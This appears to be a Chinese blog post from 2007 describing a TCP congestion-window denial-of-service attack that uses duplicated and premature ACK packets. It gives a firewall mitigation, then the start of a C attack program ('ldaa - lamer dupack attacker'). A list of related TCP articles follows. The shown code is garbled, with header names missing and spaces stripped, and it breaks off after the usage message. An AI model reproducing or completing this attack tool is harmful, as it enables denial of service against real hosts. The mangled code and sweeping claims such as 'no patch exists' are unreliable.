TCP协议堵塞窗口算法攻击

原创 2007年10月14日 10:42:00

TCP协议堵塞窗口算法攻击
TCP协议层次关于堵塞窗口的算法存在容易受攻击的漏洞
这种攻击是基于协议层次的,因此任何实现tcp的系统都会受到影响。

危害性:

    通过制造堵塞,能够使受攻击的主机不能与任何指定的主机进行正常的tcp层次的数据传输。这类攻击的后果将是使所有的TCP服务(包括web、mail、FTP等)都会产生拒绝服务。

攻击的方法有两到三种,没有任何补丁可以用来防止这种攻击,除非在防火墙设置防范或者更改TCP协议头部的结构.

理论基础:

什么是ACK_SEQ

ACK_SEQ标志数据包被正确的接受了。

ACK_SEQ是接受数据包的SEQ和接受的数据包的净荷长度.

由于push标志位的存在可以任意指定seq大小.

---攻击原理---

1,重复发送数据包,任何ip数据包都有可能被重复的发送到同一个接受端。
通过构造重复的tcp数据包,每个数据包拥有不同的ACK,能够造成数据窗口堵塞.

2)预先判断发送方的数据长度,在数据没有真正到达接受方之前开始发送返回ACK数据包。从而造成堵塞。

解决方案:
在防火墙端进行设置,对非紧急数据类型的数据比如TELNET以外的普通TCP连接,检查是否存在push标志。进行过滤。

攻击方法:
1,重复发送数据包,任何ip数据包都有可能被重复的发送到同一个接受端
通过构造重复的tcp数据包,每个数据包拥有不同的ACK,能够造成数据窗口堵塞.
攻击代码
############################

#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

externinterrno;
staticstructsockaddr_insin;
staticintss;

voidsend_dupack(void*,unsignedchar);

#defineMAS128/*MaxAckSize*/
/*
#defineBOLD"/033[1;1m"
#defineN"/033[0m"
*/
intmain(intargc,char**argv)
{
structifreqifr;/*interfacequerystruct*/
intsfd,nt,nd,off,hdr=1;/*socket,numbertimetoapplydup,
*numberofdup,datalinkoffset*/
unsignedintdaddr;/*destaddrtocheck*/
unsignedshortport;/*destporttocheck*/

printf("ldaa-"
/*BOLD*/"lamerdupackattacker"/*N*/
"-byvecna@s0ftpj.org/n");

if(argc!=6)
{
fprintf(stderr,
"usage:shostportifacen.dupn.times/n"/
"s:/tisldaathisprogram.../n"/
"host:/t/thosttoattack,onlyIP"/
"addessaccepted,notimplementedresolv/n"/
"port:/t/tdestinationporttoattack/n"/
"iface:/t/tinterfaceusedforreachhost/n"/
"n.dup:/t/tnumberofackduplication/n"/
"times:/t/tnumberoftimetoapplyduplication/n",
argv[0],argv[0]
);
err(EINVAL,"nosuchargument");
}

memset(

 

TCP阻塞控制详解

TCP阻塞控制是TCP实现可靠传输的其中一个手段,本文重点讨论一下阻塞控制的原理和几个实现的算法。 为什么会产生TCP的阻塞呢,其实就是发送端发送的报文速度要接收端大。这样就会造成网络阻塞的...
  • a497006686
  • a497006686
  • 2016年08月28日 16:16
  • 1703

TCP拥塞控制——慢开始与拥塞避免算法

1.引言        计算机网络中的带宽、交换结点中的缓存和处理机等,都是网络的资源。在某段时间,若对网络中某一资源的需求超过了该资源所能提供的可用部分,网络的性能就会变坏。这种情况就叫做拥塞...
  • smilesundream
  • smilesundream
  • 2017年05月03日 20:01
  • 1130

TCP接收窗口的调整算法(上)

我们知道TCP首部中有一个16位的接收窗口字段,它可以告诉对端:我现在能接收多少数据。TCP的流控制主要 就是通过调整接收窗口的大小来进行的。 本文内容:分析TCP接收窗口的调整算法,包括一些相关...
  • zhangskd
  • zhangskd
  • 2013年02月22日 17:27
  • 16001

我对TCP CDG拥塞控制算法的改进和优化

其实这不是我的优化,我是借用了BBR之力。        借了什么力呢?这是我一再强调的,BBR最大的共享不是为Linux贡献了一个TCP拥塞控制算法(它同时在也BSD上被实现...),而是它重构了L...
  • dog250
  • dog250
  • 2016年12月10日 19:04
  • 5113

针对TCP协议的攻击与检测、预防方法

Land 攻击 通过发送源地址和目的地址相同,源端口和目的端口相同的ICMP echo 报文或TCP syn 请求报文,可以导致主机不断地向自己发送报文,最终导致系统崩溃。只要检查报文的源地址和目的...
  • fjhyy
  • fjhyy
  • 2014年05月15日 17:06
  • 1852

TCP进入快速恢复时的窗口下降算法

夜深人静...夜深人静...TCP在发现丢包的时候,会采取一定的措施,至于如何发现丢包不是本文的内容,本文主要描述发现丢包以后TCP采取什么措施。以Linux为例,降窗发生在进入快速恢复的当时(暂时不...
  • dog250
  • dog250
  • 2016年05月14日 10:59
  • 17450

QVegas-一个升级版的TCP Vegas拥塞算法

拥塞避免带来了很多疑惑,本文解开这个疑惑并给出一个实实在在但却很简陋的算法。        其实在基于丢包的拥塞算法中,拥塞避免的过程总是伴随着AI和MD的,不能光说AI而忽略MD。        如...
  • dog250
  • dog250
  • 2017年02月24日 17:16
  • 4088

用VB实现客户——服务器(TCP/IP)编程实例

现在大多数语言都支持客户-服务器模式编程,其中VB给我们提供了很好的客户-服务器编程方式。下面我们用VB来实现TCP/IP网络编程。   TCP/IP协议是Internet最重要的协议。VB提供了W...
  • u014112224
  • u014112224
  • 2014年03月16日 17:44
  • 3801

TCP拥塞控制算法的演进

TCP拥塞控制算法的演进 TCP协议仅定义框架,也就是发送端和接收端需要遵循的“规则”。TCP协议的实现经过多年的改进,有了多个不同的版本。比较重要的有Tahoe、Reno、NewReno、SACK...
  • XuYongshi02
  • XuYongshi02
  • 2015年10月03日 00:21
  • 1416

TCP可靠传输的工作原理-停止等待&连续的ARQ(一)

停止等待协议,TCP的可靠传输,连续的ARQ协议
  • turn__back
  • turn__back
  • 2017年06月26日 20:10
  • 661
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:TCP协议堵塞窗口算法攻击
举报原因:
原因补充:

(最多只允许输入30个字)